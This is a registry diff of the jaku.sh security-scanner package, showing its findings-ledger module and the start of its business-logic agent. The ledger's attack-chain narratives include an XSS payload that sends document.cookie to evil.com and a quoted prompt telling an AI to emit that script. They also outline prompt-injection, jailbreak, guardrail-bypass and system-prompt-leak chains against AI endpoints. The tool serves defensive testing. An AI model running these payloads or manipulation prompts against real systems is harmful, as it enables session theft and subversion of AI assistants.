jaku.sh 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +52 -0
- package/README.md +636 -0
- package/action.yml +264 -0
- package/bin/jaku +2 -0
- package/package.json +62 -0
- package/src/agents/ai-agent.js +175 -0
- package/src/agents/api-agent.js +95 -0
- package/src/agents/base-agent.js +158 -0
- package/src/agents/crawl-agent.js +175 -0
- package/src/agents/event-bus.js +59 -0
- package/src/agents/findings-ledger.js +410 -0
- package/src/agents/logic-agent.js +144 -0
- package/src/agents/orchestrator.js +323 -0
- package/src/agents/qa-agent.js +149 -0
- package/src/agents/security-agent.js +211 -0
- package/src/cli.js +423 -0
- package/src/core/accessibility-checker.js +171 -0
- package/src/core/ai/ai-endpoint-detector.js +227 -0
- package/src/core/ai/guardrail-prober.js +362 -0
- package/src/core/ai/indirect-injector.js +106 -0
- package/src/core/ai/jailbreak-tester.js +212 -0
- package/src/core/ai/model-dos-tester.js +174 -0
- package/src/core/ai/model-fingerprinter.js +246 -0
- package/src/core/ai/multi-turn-attacker.js +297 -0
- package/src/core/ai/output-analyzer.js +182 -0
- package/src/core/ai/prompt-injector.js +543 -0
- package/src/core/ai/system-prompt-extractor.js +244 -0
- package/src/core/api/api-key-auditor.js +266 -0
- package/src/core/api/auth-flow-tester.js +430 -0
- package/src/core/api/cors-ws-tester.js +263 -0
- package/src/core/api/graphql-tester.js +287 -0
- package/src/core/api/oauth-prober.js +343 -0
- package/src/core/auth-manager.js +902 -0
- package/src/core/broken-flow-detector.js +207 -0
- package/src/core/browser-manager.js +119 -0
- package/src/core/console-monitor.js +111 -0
- package/src/core/crawler.js +430 -0
- package/src/core/csr-waiter.js +410 -0
- package/src/core/form-validator.js +240 -0
- package/src/core/logic/abuse-pattern-scanner.js +291 -0
- package/src/core/logic/access-boundary-tester.js +448 -0
- package/src/core/logic/business-rule-inferrer.js +196 -0
- package/src/core/logic/graphql-auditor.js +298 -0
- package/src/core/logic/parameter-polluter.js +212 -0
- package/src/core/logic/pricing-exploiter.js +299 -0
- package/src/core/logic/race-condition-detector.js +222 -0
- package/src/core/logic/workflow-enforcer.js +284 -0
- package/src/core/performance-checker.js +204 -0
- package/src/core/responsive-checker.js +228 -0
- package/src/core/security/cors-prober.js +150 -0
- package/src/core/security/csrf-prober.js +217 -0
- package/src/core/security/dependency-auditor.js +182 -0
- package/src/core/security/file-upload-tester.js +340 -0
- package/src/core/security/header-analyzer.js +324 -0
- package/src/core/security/infra-scanner.js +391 -0
- package/src/core/security/path-traversal.js +112 -0
- package/src/core/security/prototype-pollution.js +147 -0
- package/src/core/security/secret-detector.js +517 -0
- package/src/core/security/sqli-prober.js +257 -0
- package/src/core/security/tls-checker.js +223 -0
- package/src/core/security/xss-scanner.js +225 -0
- package/src/core/test-generator.js +339 -0
- package/src/core/test-runner.js +398 -0
- package/src/reporting/diff-reporter.js +172 -0
- package/src/reporting/report-generator.js +408 -0
- package/src/reporting/sarif-generator.js +190 -0
- package/src/utils/config.js +57 -0
- package/src/utils/finding.js +67 -0
- package/src/utils/logger.js +50 -0
|
@@ -0,0 +1,410 @@
|
|
|
1
|
+
import { sortFindings, severitySummary } from '../utils/finding.js';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* FindingsLedger — Shared state store for all agent findings.
|
|
5
|
+
*
|
|
6
|
+
* The "unified findings ledger" from the manifest:
|
|
7
|
+
* - Auto-deduplication by title + affected_surface
|
|
8
|
+
* - Smart grouping of similar findings across different surfaces
|
|
9
|
+
* - Attack chain correlation with exploitation narratives
|
|
10
|
+
* - Severity escalation when findings compound
|
|
11
|
+
* - Real-time severity summary
|
|
12
|
+
* - Integrates with EventBus for reactivity
|
|
13
|
+
*/
|
|
14
|
+
export class FindingsLedger {
|
|
15
|
+
constructor(eventBus) {
|
|
16
|
+
this._findings = [];
|
|
17
|
+
this._eventBus = eventBus;
|
|
18
|
+
this._dedupeKeys = new Set();
|
|
19
|
+
this._groups = new Map(); // normalized title → group object
|
|
20
|
+
|
|
21
|
+
if (eventBus) {
|
|
22
|
+
eventBus.on('finding:new', ({ finding }) => {
|
|
23
|
+
this._ingest(finding);
|
|
24
|
+
});
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* Normalize a finding title for grouping.
|
|
30
|
+
* Strips instance-specific data (URLs, hashes, masked values) to find common patterns.
|
|
31
|
+
*/
|
|
32
|
+
_normalizeTitle(title) {
|
|
33
|
+
return title
|
|
34
|
+
// Strip masked values like "Bear****molI" or "eyJh****molI"
|
|
35
|
+
.replace(/:\s*[A-Za-z0-9+/]{2,}\*{3,}[A-Za-z0-9+/=]{2,}$/g, '')
|
|
36
|
+
// Strip URLs
|
|
37
|
+
.replace(/https?:\/\/[^\s]+/g, '<URL>')
|
|
38
|
+
// Strip IP addresses
|
|
39
|
+
.replace(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/g, '<IP>')
|
|
40
|
+
// Strip specific file paths like "/.env.local" → "/<path>"
|
|
41
|
+
.replace(/:\/[\w./-]+$/g, '')
|
|
42
|
+
// Normalize whitespace
|
|
43
|
+
.replace(/\s+/g, ' ')
|
|
44
|
+
.trim();
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
_ingest(finding) {
|
|
48
|
+
// Level 1: Exact dedup (same title + same surface = skip entirely)
|
|
49
|
+
const exactKey = `${finding.title}::${finding.affected_surface}`;
|
|
50
|
+
if (this._dedupeKeys.has(exactKey)) return false;
|
|
51
|
+
this._dedupeKeys.add(exactKey);
|
|
52
|
+
this._findings.push(finding);
|
|
53
|
+
|
|
54
|
+
// Level 2: Group similar findings by normalized title + module
|
|
55
|
+
const groupKey = `${finding.module}::${this._normalizeTitle(finding.title)}`;
|
|
56
|
+
if (this._groups.has(groupKey)) {
|
|
57
|
+
const group = this._groups.get(groupKey);
|
|
58
|
+
group.occurrences++;
|
|
59
|
+
group.affected_surfaces.push(finding.affected_surface);
|
|
60
|
+
group.findings.push(finding);
|
|
61
|
+
// Keep highest severity
|
|
62
|
+
const severityOrder = ['critical', 'high', 'medium', 'low', 'info'];
|
|
63
|
+
if (severityOrder.indexOf(finding.severity) < severityOrder.indexOf(group.severity)) {
|
|
64
|
+
group.severity = finding.severity;
|
|
65
|
+
}
|
|
66
|
+
// Merge evidence
|
|
67
|
+
if (finding.evidence && !group.evidenceSet.has(finding.evidence)) {
|
|
68
|
+
group.evidenceSet.add(finding.evidence);
|
|
69
|
+
}
|
|
70
|
+
} else {
|
|
71
|
+
this._groups.set(groupKey, {
|
|
72
|
+
title: finding.title,
|
|
73
|
+
normalizedTitle: this._normalizeTitle(finding.title),
|
|
74
|
+
module: finding.module,
|
|
75
|
+
severity: finding.severity,
|
|
76
|
+
occurrences: 1,
|
|
77
|
+
affected_surfaces: [finding.affected_surface],
|
|
78
|
+
findings: [finding],
|
|
79
|
+
evidenceSet: new Set(finding.evidence ? [finding.evidence] : []),
|
|
80
|
+
description: finding.description,
|
|
81
|
+
remediation: finding.remediation,
|
|
82
|
+
references: finding.references || [],
|
|
83
|
+
firstSeen: finding.timestamp,
|
|
84
|
+
});
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
return true;
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
add(finding) { return this._ingest(finding); }
|
|
91
|
+
|
|
92
|
+
/** Get all raw findings (no grouping). */
|
|
93
|
+
getAll() { return sortFindings(this._findings); }
|
|
94
|
+
|
|
95
|
+
/**
|
|
96
|
+
* Get deduplicated findings — similar findings grouped with occurrence counts.
|
|
97
|
+
* Returns an array where each item represents a unique finding type.
|
|
98
|
+
*/
|
|
99
|
+
getDeduplicated() {
|
|
100
|
+
const deduped = [];
|
|
101
|
+
|
|
102
|
+
for (const [, group] of this._groups) {
|
|
103
|
+
// Use the first finding as the base
|
|
104
|
+
const base = { ...group.findings[0] };
|
|
105
|
+
|
|
106
|
+
if (group.occurrences > 1) {
|
|
107
|
+
// Enrich with group data
|
|
108
|
+
base.occurrences = group.occurrences;
|
|
109
|
+
base.affected_surfaces = [...new Set(group.affected_surfaces)];
|
|
110
|
+
base.severity = group.severity;
|
|
111
|
+
base.title = group.occurrences > 1
|
|
112
|
+
? `${group.normalizedTitle || group.title} (×${group.occurrences})`
|
|
113
|
+
: group.title;
|
|
114
|
+
base.description = `${group.description}\n\n**Found ${group.occurrences} instances** across ${base.affected_surfaces.length} surface(s):\n${base.affected_surfaces.map(s => `- ${s}`).join('\n')}`;
|
|
115
|
+
} else {
|
|
116
|
+
base.occurrences = 1;
|
|
117
|
+
base.affected_surfaces = [base.affected_surface];
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
deduped.push(base);
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
return sortFindings(deduped);
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
/** Get dedup stats. */
|
|
127
|
+
get dedupStats() {
|
|
128
|
+
const raw = this._findings.length;
|
|
129
|
+
const deduped = this._groups.size;
|
|
130
|
+
return {
|
|
131
|
+
rawCount: raw,
|
|
132
|
+
dedupedCount: deduped,
|
|
133
|
+
duplicatesRemoved: raw - deduped,
|
|
134
|
+
reductionPercent: raw > 0 ? Math.round(((raw - deduped) / raw) * 100) : 0,
|
|
135
|
+
};
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
getByModule(module) {
|
|
139
|
+
return sortFindings(this._findings.filter(f => f.module === module));
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
getBySeverity(severity) {
|
|
143
|
+
return this._findings.filter(f => f.severity === severity);
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
get summary() { return severitySummary(this._findings); }
|
|
147
|
+
|
|
148
|
+
/** Summary of deduplicated findings. */
|
|
149
|
+
get dedupSummary() { return severitySummary(this.getDeduplicated()); }
|
|
150
|
+
|
|
151
|
+
get count() { return this._findings.length; }
|
|
152
|
+
|
|
153
|
+
// ═══════════════════════════════════════════════
|
|
154
|
+
// Fix 6: Structured Correlation Engine
|
|
155
|
+
// ═══════════════════════════════════════════════
|
|
156
|
+
|
|
157
|
+
/**
|
|
158
|
+
* Classify a finding into a semantic type for structured correlation.
|
|
159
|
+
* Uses normalized title + module — NOT raw regex on potentially adversarial strings.
|
|
160
|
+
*/
|
|
161
|
+
_classifyFinding(finding) {
|
|
162
|
+
const norm = this._normalizeTitle(finding.title).toLowerCase();
|
|
163
|
+
const mod = finding.module?.toLowerCase() || '';
|
|
164
|
+
|
|
165
|
+
// Security header categories
|
|
166
|
+
if (/content.security.policy|csp/.test(norm)) return 'csp_missing';
|
|
167
|
+
if (/httponly|samesite|secure.*cookie|cookie.*secure/.test(norm)) return 'insecure_cookie';
|
|
168
|
+
if (/hsts|http.*not.*redirect|strict.transport/.test(norm)) return 'hsts_missing';
|
|
169
|
+
if (/x.frame.options|clickjack/.test(norm)) return 'xframe_missing';
|
|
170
|
+
if (/missing.*header|no.*header|security.*header/.test(norm)) return 'missing_header';
|
|
171
|
+
if (/cors.*origin|cors.*credential|cors.*null|cors/.test(norm)) return 'cors_misconfigured';
|
|
172
|
+
if (/tls|ssl|weak.*cipher/.test(norm)) return 'tls_weak';
|
|
173
|
+
|
|
174
|
+
// Injection
|
|
175
|
+
if (/xss|cross.site.script/.test(norm)) return 'xss';
|
|
176
|
+
if (/sql.inject|sql.*vulnerab/.test(norm)) return 'sql_injection';
|
|
177
|
+
if (/prompt.inject/.test(norm)) return 'prompt_injection';
|
|
178
|
+
if (/html.inject|template.inject/.test(norm)) return 'html_injection';
|
|
179
|
+
|
|
180
|
+
// AI
|
|
181
|
+
if (/system.prompt.extract|system.prompt.leak/.test(norm)) return 'system_prompt_leak';
|
|
182
|
+
if (/jailbreak/.test(norm)) return 'jailbreak';
|
|
183
|
+
if (/guardrail/.test(norm)) return 'guardrail_bypass';
|
|
184
|
+
if (/excessive.agency/.test(norm)) return 'excessive_agency';
|
|
185
|
+
if (/ai.*xss|unsaniti.*output|ai.*inject.*output/.test(norm)) return 'ai_mediated_xss';
|
|
186
|
+
|
|
187
|
+
// Access control
|
|
188
|
+
if (/idor|direct.object/.test(norm)) return 'idor';
|
|
189
|
+
if (/missing.*auth|guest.*access|vertical.*escalat/.test(norm)) return 'broken_auth';
|
|
190
|
+
if (/jwt.*none|jwt.*alg|jwt.*sign|jwt.*bypass/.test(norm)) return 'jwt_bypass';
|
|
191
|
+
if (/csrf/.test(norm)) return 'csrf_missing';
|
|
192
|
+
if (/race.condition/.test(norm)) return 'race_condition';
|
|
193
|
+
|
|
194
|
+
// Exposure
|
|
195
|
+
if (/secret|api.key|token.*expos/.test(norm) && mod === 'security') return 'secret_exposure';
|
|
196
|
+
if (/admin|debug|management.*endpoint/.test(norm)) return 'admin_exposed';
|
|
197
|
+
if (/error.*disclos|verbose.*error|information.*disclos/.test(norm)) return 'error_disclosure';
|
|
198
|
+
|
|
199
|
+
// Business logic
|
|
200
|
+
if (/pricing.manipulat|price.*tamper/.test(norm)) return 'pricing_manipulation';
|
|
201
|
+
if (/graphql.*introspect/.test(norm)) return 'graphql_introspection';
|
|
202
|
+
if (/rate.limit/.test(norm)) return 'no_rate_limit';
|
|
203
|
+
|
|
204
|
+
return null; // Unknown type — not used in correlation
|
|
205
|
+
}
|
|
206
|
+
|
|
207
|
+
/**
|
|
208
|
+
* Correlate findings into attack chain narratives using structured type-pair rules.
|
|
209
|
+
*/
|
|
210
|
+
correlate() {
|
|
211
|
+
const correlations = [];
|
|
212
|
+
const f = this._findings;
|
|
213
|
+
|
|
214
|
+
// Build a map of type → [findings]
|
|
215
|
+
const byType = new Map();
|
|
216
|
+
for (const finding of f) {
|
|
217
|
+
const type = this._classifyFinding(finding);
|
|
218
|
+
if (!type) continue;
|
|
219
|
+
if (!byType.has(type)) byType.set(type, []);
|
|
220
|
+
byType.get(type).push(finding);
|
|
221
|
+
}
|
|
222
|
+
|
|
223
|
+
const has = (type) => byType.has(type) && byType.get(type).length > 0;
|
|
224
|
+
const get = (type) => byType.get(type) || [];
|
|
225
|
+
const ids = (...types) => types.flatMap(t => get(t).map(x => x.id));
|
|
226
|
+
|
|
227
|
+
// ── Structured correlation rules ──
|
|
228
|
+
const rules = [
|
|
229
|
+
{
|
|
230
|
+
condition: () => has('xss') && has('csp_missing'),
|
|
231
|
+
build: () => {
|
|
232
|
+
const surfaces = [...new Set(get('xss').map(x => x.affected_surface))].join(', ');
|
|
233
|
+
const cookieNote = has('insecure_cookie') ? ` Session cookies also lack HttpOnly, enabling session theft via document.cookie.` : '';
|
|
234
|
+
return {
|
|
235
|
+
type: 'attack_chain', severity: 'critical',
|
|
236
|
+
title: 'Exploitable XSS → Session Hijacking',
|
|
237
|
+
narrative: `Reflected/stored XSS on ${surfaces} is fully exploitable because Content-Security-Policy is absent — no script-src restriction prevents injected JavaScript from executing.${cookieNote} Working attack: an attacker injects <script>fetch('https://evil.com/'+document.cookie)</script> to exfiltrate session tokens.`,
|
|
238
|
+
findings: ids('xss', 'csp_missing', 'insecure_cookie'),
|
|
239
|
+
exploitation: 'Confirmed — XSS executes without CSP restriction',
|
|
240
|
+
};
|
|
241
|
+
},
|
|
242
|
+
},
|
|
243
|
+
{
|
|
244
|
+
condition: () => has('sql_injection') && has('error_disclosure'),
|
|
245
|
+
build: () => ({
|
|
246
|
+
type: 'attack_chain', severity: 'critical',
|
|
247
|
+
title: 'SQL Injection + Error Disclosure → Data Exfiltration',
|
|
248
|
+
narrative: `SQL injection is aided by verbose error messages that reveal database engine and table structure. An attacker can use error-based extraction (UNION SELECT, extractvalue) to dump database contents.`,
|
|
249
|
+
findings: ids('sql_injection', 'error_disclosure'),
|
|
250
|
+
exploitation: 'Error messages reveal DB version and schema, enabling targeted payloads',
|
|
251
|
+
}),
|
|
252
|
+
},
|
|
253
|
+
{
|
|
254
|
+
condition: () => (has('sql_injection') || has('xss')) && has('hsts_missing'),
|
|
255
|
+
build: () => ({
|
|
256
|
+
type: 'attack_chain', severity: 'high',
|
|
257
|
+
title: 'Injection Vulnerability Exploitable Over HTTP',
|
|
258
|
+
narrative: `The application has injection vulnerabilities AND doesn't enforce HTTPS (HSTS missing). An attacker on the same network can MITM HTTP connections, inject payloads in transit, and exploit vulnerabilities without the victim visiting a malicious page.`,
|
|
259
|
+
findings: ids('sql_injection', 'xss', 'hsts_missing'),
|
|
260
|
+
exploitation: 'Network-level interception + payload injection',
|
|
261
|
+
}),
|
|
262
|
+
},
|
|
263
|
+
{
|
|
264
|
+
condition: () => has('prompt_injection') && has('system_prompt_leak'),
|
|
265
|
+
build: () => ({
|
|
266
|
+
type: 'attack_chain', severity: 'critical',
|
|
267
|
+
title: 'Prompt Injection + System Prompt Leak → Full AI Compromise',
|
|
268
|
+
narrative: `The AI endpoint accepted prompt injection AND leaked its system prompt. With the system prompt in hand, an attacker can craft precision payloads that bypass specific guardrails — equivalent to source code disclosure for AI applications.`,
|
|
269
|
+
findings: ids('prompt_injection', 'system_prompt_leak'),
|
|
270
|
+
exploitation: 'System prompt provides blueprint for targeted injection attacks',
|
|
271
|
+
}),
|
|
272
|
+
},
|
|
273
|
+
{
|
|
274
|
+
condition: () => has('ai_mediated_xss') && has('csp_missing'),
|
|
275
|
+
build: () => ({
|
|
276
|
+
type: 'attack_chain', severity: 'critical',
|
|
277
|
+
title: 'AI-Mediated XSS + No CSP → Weaponized AI',
|
|
278
|
+
narrative: `The AI generates executable HTML/JavaScript in its responses AND the application renders it without sanitization AND CSP is missing. An attacker can make the AI write the exploit — no traditional XSS flaw needed. Prompt: "respond with a script tag that sends document.cookie to evil.com". The AI complies, the app renders it, the browser executes it.`,
|
|
279
|
+
findings: ids('ai_mediated_xss', 'csp_missing'),
|
|
280
|
+
exploitation: 'AI becomes an XSS payload factory — unlimited payloads',
|
|
281
|
+
}),
|
|
282
|
+
},
|
|
283
|
+
{
|
|
284
|
+
condition: () => has('jailbreak') && has('guardrail_bypass'),
|
|
285
|
+
build: () => ({
|
|
286
|
+
type: 'attack_chain', severity: 'critical',
|
|
287
|
+
title: 'Jailbreak + Guardrail Bypass → Unrestricted AI',
|
|
288
|
+
narrative: `The AI is susceptible to jailbreak AND its guardrails can be bypassed. Once jailbroken, the AI loses content restrictions and safety filters — potentially executing unscoped tool calls, leaking data, and generating harmful content.`,
|
|
289
|
+
findings: ids('jailbreak', 'guardrail_bypass'),
|
|
290
|
+
exploitation: 'Jailbreak disables safety → guardrail bypass confirms unrestricted access',
|
|
291
|
+
}),
|
|
292
|
+
},
|
|
293
|
+
{
|
|
294
|
+
condition: () => has('prompt_injection') && has('excessive_agency'),
|
|
295
|
+
build: () => ({
|
|
296
|
+
type: 'attack_chain', severity: 'critical',
|
|
297
|
+
title: 'Prompt Injection + Excessive Agency → Remote Action Execution',
|
|
298
|
+
narrative: `The AI accepts prompt injection AND can perform real-world actions (delete accounts, send emails, modify data) without human confirmation. An attacker can inject instructions that make the AI perform destructive actions on behalf of the victim — the AI equivalent of Remote Code Execution.`,
|
|
299
|
+
findings: ids('prompt_injection', 'excessive_agency'),
|
|
300
|
+
exploitation: 'Inject instruction → AI performs destructive action → no human in the loop',
|
|
301
|
+
}),
|
|
302
|
+
},
|
|
303
|
+
{
|
|
304
|
+
condition: () => has('secret_exposure') && has('admin_exposed'),
|
|
305
|
+
build: () => ({
|
|
306
|
+
type: 'attack_chain', severity: 'critical',
|
|
307
|
+
title: 'Exposed Secrets + Admin Endpoints → Full System Compromise',
|
|
308
|
+
narrative: `The application leaks API keys/secrets AND exposes admin/debug endpoints. An attacker can use the leaked credentials to authenticate against the admin endpoints, gaining full system access without brute-forcing.`,
|
|
309
|
+
findings: ids('secret_exposure', 'admin_exposed'),
|
|
310
|
+
exploitation: 'Leaked API key → authenticate to admin panel → full control',
|
|
311
|
+
}),
|
|
312
|
+
},
|
|
313
|
+
{
|
|
314
|
+
condition: () => get('missing_header').length >= 3,
|
|
315
|
+
build: () => ({
|
|
316
|
+
type: 'defense_gap', severity: 'high',
|
|
317
|
+
title: 'Multiple Missing Security Headers → Defense Failure',
|
|
318
|
+
narrative: `${get('missing_header').length} security headers are missing. Together, they indicate the application has NO security hardening at the HTTP layer — every vulnerability is exploitable at maximum severity.`,
|
|
319
|
+
findings: ids('missing_header'),
|
|
320
|
+
exploitation: 'No defense in depth — every vulnerability is exploitable at maximum severity',
|
|
321
|
+
}),
|
|
322
|
+
},
|
|
323
|
+
{
|
|
324
|
+
condition: () => has('race_condition') && has('csrf_missing'),
|
|
325
|
+
build: () => ({
|
|
326
|
+
type: 'attack_chain', severity: 'critical',
|
|
327
|
+
title: 'Race Condition + Weak CSRF → Double Spend',
|
|
328
|
+
narrative: `Race conditions exist on state-changing endpoints AND CSRF protections are missing. An attacker can craft a page that fires concurrent requests from the victim's browser, triggering double payments, duplicate orders, or overdrawn balances.`,
|
|
329
|
+
findings: ids('race_condition', 'csrf_missing'),
|
|
330
|
+
exploitation: 'Attacker page fires concurrent authenticated requests → double spend',
|
|
331
|
+
}),
|
|
332
|
+
},
|
|
333
|
+
{
|
|
334
|
+
condition: () => has('idor') && has('broken_auth'),
|
|
335
|
+
build: () => ({
|
|
336
|
+
type: 'attack_chain', severity: 'critical',
|
|
337
|
+
title: 'IDOR + Broken Access Control → Full Data Breach',
|
|
338
|
+
narrative: `Insecure direct object references exist AND access controls are broken. An attacker can enumerate resource IDs without authentication to systematically exfiltrate all user data, orders, and records from the application.`,
|
|
339
|
+
findings: ids('idor', 'broken_auth'),
|
|
340
|
+
exploitation: 'Enumerate IDs without auth → dump entire database via API',
|
|
341
|
+
}),
|
|
342
|
+
},
|
|
343
|
+
{
|
|
344
|
+
condition: () => has('pricing_manipulation') && has('admin_exposed'),
|
|
345
|
+
build: () => ({
|
|
346
|
+
type: 'attack_chain', severity: 'critical',
|
|
347
|
+
title: 'Pricing Manipulation + Admin Access → Financial Loss',
|
|
348
|
+
narrative: `The application accepts manipulated prices AND admin panels are exposed. An attacker can use admin access to create discounts, modify prices, or process fraudulent refunds at scale.`,
|
|
349
|
+
findings: ids('pricing_manipulation', 'admin_exposed'),
|
|
350
|
+
exploitation: 'Admin access → create 100% discount coupons → purchase at $0',
|
|
351
|
+
}),
|
|
352
|
+
},
|
|
353
|
+
{
|
|
354
|
+
condition: () => has('jwt_bypass') && has('hsts_missing'),
|
|
355
|
+
build: () => ({
|
|
356
|
+
type: 'attack_chain', severity: 'critical',
|
|
357
|
+
title: 'JWT Algorithm Bypass + Weak Transport → Full Token Theft',
|
|
358
|
+
narrative: `JWT signatures can be bypassed (alg:none) AND transport security is weak. An attacker on the same network can intercept traffic, steal the JWT, forge one with elevated privileges, and gain full access — without knowing the signing key.`,
|
|
359
|
+
findings: ids('jwt_bypass', 'hsts_missing'),
|
|
360
|
+
exploitation: 'MITM intercept JWT → forge token with alg:none → admin access',
|
|
361
|
+
}),
|
|
362
|
+
},
|
|
363
|
+
{
|
|
364
|
+
condition: () => has('cors_misconfigured') && has('xss'),
|
|
365
|
+
build: () => ({
|
|
366
|
+
type: 'attack_chain', severity: 'critical',
|
|
367
|
+
title: 'CORS Misconfiguration + XSS → Cross-Origin Data Theft',
|
|
368
|
+
narrative: `CORS policy allows arbitrary origins AND XSS vulnerabilities exist. An attacker can use XSS to make authenticated cross-origin requests from the victim's browser, reading API responses containing sensitive data.`,
|
|
369
|
+
findings: ids('cors_misconfigured', 'xss'),
|
|
370
|
+
exploitation: 'XSS payload reads API data → CORS allows cross-origin response → data exfiltrated',
|
|
371
|
+
}),
|
|
372
|
+
},
|
|
373
|
+
{
|
|
374
|
+
condition: () => has('graphql_introspection') && (has('broken_auth') || has('no_rate_limit')),
|
|
375
|
+
build: () => ({
|
|
376
|
+
type: 'attack_chain', severity: 'critical',
|
|
377
|
+
title: 'GraphQL Introspection + Auth Bypass → Full API Compromise',
|
|
378
|
+
narrative: `GraphQL introspection exposes the entire API schema AND authentication can be bypassed. An attacker can enumerate all queries and mutations via introspection, then execute them without authentication.`,
|
|
379
|
+
findings: ids('graphql_introspection', 'broken_auth', 'no_rate_limit'),
|
|
380
|
+
exploitation: 'Introspection maps schema → bypass auth → execute mutations → full data access',
|
|
381
|
+
}),
|
|
382
|
+
},
|
|
383
|
+
];
|
|
384
|
+
|
|
385
|
+
for (const rule of rules) {
|
|
386
|
+
if (rule.condition()) {
|
|
387
|
+
correlations.push(rule.build());
|
|
388
|
+
}
|
|
389
|
+
}
|
|
390
|
+
|
|
391
|
+
return correlations;
|
|
392
|
+
}
|
|
393
|
+
|
|
394
|
+
/**
|
|
395
|
+
* Export the full ledger state.
|
|
396
|
+
*/
|
|
397
|
+
export() {
|
|
398
|
+
const dedupStats = this.dedupStats;
|
|
399
|
+
return {
|
|
400
|
+
findings: this.getAll(),
|
|
401
|
+
deduplicated: this.getDeduplicated(),
|
|
402
|
+
summary: this.summary,
|
|
403
|
+
dedupSummary: this.dedupSummary,
|
|
404
|
+
correlations: this.correlate(),
|
|
405
|
+
dedupStats,
|
|
406
|
+
};
|
|
407
|
+
}
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
export default FindingsLedger;
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
import { BaseAgent } from './base-agent.js';
|
|
2
|
+
import { BusinessRuleInferrer } from '../core/logic/business-rule-inferrer.js';
|
|
3
|
+
import { PricingExploiter } from '../core/logic/pricing-exploiter.js';
|
|
4
|
+
import { AccessBoundaryTester } from '../core/logic/access-boundary-tester.js';
|
|
5
|
+
import { WorkflowEnforcer } from '../core/logic/workflow-enforcer.js';
|
|
6
|
+
import { RaceConditionDetector } from '../core/logic/race-condition-detector.js';
|
|
7
|
+
import { AbusePatternScanner } from '../core/logic/abuse-pattern-scanner.js';
|
|
8
|
+
import { GraphQLAuditor } from '../core/logic/graphql-auditor.js';
|
|
9
|
+
import { ParameterPolluter } from '../core/logic/parameter-polluter.js';
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* JAKU-LOGIC — Business Logic Validation Agent
|
|
13
|
+
*
|
|
14
|
+
* Pipeline (8 phases):
|
|
15
|
+
* 1. Infer business rules from surface inventory
|
|
16
|
+
* 2. Test pricing/payment manipulation
|
|
17
|
+
* 3. Test access control boundaries (IDOR, JWT sub, cross-tenant, UUID enumeration)
|
|
18
|
+
* 4. Test workflow enforcement (step skipping, resubmission, invalid transitions)
|
|
19
|
+
* 5. Test race conditions (double spend, TOCTOU, inventory oversell)
|
|
20
|
+
* 6. Test abuse patterns (referral, reward, subscription farming)
|
|
21
|
+
* 7. GraphQL security audit (introspection, batch, depth, aliases, field suggestions)
|
|
22
|
+
* 8. HTTP parameter pollution (duplication, injection, verb tampering)
|
|
23
|
+
*
|
|
24
|
+
* Dependencies: JAKU-CRAWL (runs in Wave 2, parallel with QA + SEC + AI)
|
|
25
|
+
*/
|
|
26
|
+
export class LogicAgent extends BaseAgent {
|
|
27
|
+
get name() { return 'JAKU-LOGIC'; }
|
|
28
|
+
get dependencies() { return ['JAKU-CRAWL']; }
|
|
29
|
+
|
|
30
|
+
async _execute(context) {
|
|
31
|
+
const { config, logger, surfaceInventory } = context;
|
|
32
|
+
|
|
33
|
+
if (!surfaceInventory) {
|
|
34
|
+
throw new Error('No surface inventory available — JAKU-CRAWL must run first');
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Phase 1: Infer business rules
|
|
38
|
+
this.progress('infer', 'Inferring business rules from surface inventory...', 0);
|
|
39
|
+
|
|
40
|
+
const inferrer = new BusinessRuleInferrer(logger);
|
|
41
|
+
const businessContext = inferrer.infer(surfaceInventory);
|
|
42
|
+
|
|
43
|
+
const activeDomains = Object.entries(businessContext.domains)
|
|
44
|
+
.filter(([, items]) => items.length > 0)
|
|
45
|
+
.map(([domain]) => domain);
|
|
46
|
+
|
|
47
|
+
this._log(`Inferred ${activeDomains.length} business domains: ${activeDomains.join(', ') || 'none'}`);
|
|
48
|
+
this.progress('infer', `Found ${activeDomains.length} business domains`, 10);
|
|
49
|
+
|
|
50
|
+
if (activeDomains.length === 0) {
|
|
51
|
+
this._log('No business logic surfaces detected — skipping logic tests');
|
|
52
|
+
this.progress('complete', 'No business logic surfaces found — scan skipped', 100);
|
|
53
|
+
return;
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
// Phase 2: Pricing exploitation
|
|
57
|
+
this.progress('pricing', 'Testing pricing & payment logic...', 10);
|
|
58
|
+
try {
|
|
59
|
+
const exploiter = new PricingExploiter(logger);
|
|
60
|
+
const pricingFindings = await exploiter.exploit(businessContext);
|
|
61
|
+
this.addFindings(pricingFindings);
|
|
62
|
+
this._log(`Pricing: ${pricingFindings.length} issues`);
|
|
63
|
+
} catch (err) {
|
|
64
|
+
this._log(`Pricing testing failed: ${err.message}`, 'error');
|
|
65
|
+
}
|
|
66
|
+
this.progress('pricing', 'Pricing testing complete', 25);
|
|
67
|
+
|
|
68
|
+
// Phase 3: Access boundary testing
|
|
69
|
+
this.progress('access', 'Testing access control boundaries...', 25);
|
|
70
|
+
try {
|
|
71
|
+
const tester = new AccessBoundaryTester(logger);
|
|
72
|
+
const accessFindings = await tester.test(businessContext, surfaceInventory);
|
|
73
|
+
this.addFindings(accessFindings);
|
|
74
|
+
this._log(`Access: ${accessFindings.length} issues`);
|
|
75
|
+
} catch (err) {
|
|
76
|
+
this._log(`Access boundary testing failed: ${err.message}`, 'error');
|
|
77
|
+
}
|
|
78
|
+
this.progress('access', 'Access boundary testing complete', 45);
|
|
79
|
+
|
|
80
|
+
// Phase 4: Workflow enforcement
|
|
81
|
+
